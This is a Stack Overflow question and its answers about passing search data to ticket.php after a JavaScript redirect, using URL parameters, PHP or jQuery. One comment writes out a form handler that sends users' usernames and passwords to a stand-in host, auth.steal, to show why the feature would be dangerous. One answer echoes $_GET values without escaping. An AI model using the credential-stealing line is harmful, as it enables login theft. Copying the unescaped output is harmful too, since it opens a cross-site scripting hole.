0

I am making a function which searches the database for flight information. I want user to be redirected on "ticket.php" if the response is true. I want to update the content of the page "ticket.php" using jquery. But jquery doesn't work. Am I doing something wrong here ? Here's part of javascript. It's an external javascript. It's included in both "search.php" and "ticket.php" page. This function gets invoked by clicking on search button in "search.php" page.

if(data){
    setTimeout("location.href = 'ticket.php';",3000); // Redirect to new page

//Change content of "ticket.php" using jquery.
    $("#source").text(x);
    $("#destination").text(y);
    $("#date").text(z);
    $("#no_person").text(person);
    $("#trip_type").text(type);
}

else
    $("#alert").text("Oops! No Flight matches your criteria ! ");
jimmy0251
  • 16,293
  • 10
  • 36
  • 39
  • 2
    No. At least not without browser exploits/bugs. The new page is a new page. – user2246674 May 02 '13 at 20:30
  • 1
    I'm confused. If you want to change the content on ticket.php you would have to do so on the page ticket.php, not the page that redirects to it. – The Jonas Persson May 02 '13 at 20:32
  • Such functionality would be great for redirecting people to login pages with `form.onsubmit=function() { location.href = "http://www.auth.steal/?u="+form.user.value+"p="+form.password.value) }` appended to them. – apsillers May 02 '13 at 20:40

2 Answers2

4

When you set location.href to ticket.php, the user is then redirected to that new page (ticket.php). Then the browser will load that new page and will no longer use the javascript you have on your current page.

You will have to make the data appear on ticket.php, using e.g. url parameters taken from what they searched like this:

window.location.href = 'ticket.php?from=norway&to=sweden';
thebreiflabb
  • 1,504
  • 10
  • 19
  • 2
    I would also add that instead of changing the text via jQuery on ticket.php you would probably be better off using PHP to change the page text (using thebreiflabb's example) – theWizardsBaker May 02 '13 at 20:40
0

The reason this is not working for you is because when you redirect to ticket.php the page is reloaded and all of the javascript on the page is refreshed, losing whatever value they had before. To keep the data you have to send the information to ticket.php

There are a couple of ways to accomplish this, ordered in preferred method.
all assuming you are requesting the page like this: ticket.php?from=norway&to=sweden

php on the page ticket.php

<?php
  echo $_GET['from'];
  echo $_GET['to'];
 ?>

javascript on the page ticket.php

solution for getting params from this post:https://stackoverflow.com/a/1404100/2033671

alert(getURLParameter('from'));
alert(getURLParameter('to')); 

jQuery from a different page on the same domain

    $.get('ticket.php',function(response){
    $html = $(response);
    $html.find("#destination").text(y);
    $html.find("#source").text(x);
    $("html").html($html);
});
Community
  • 1
  • 1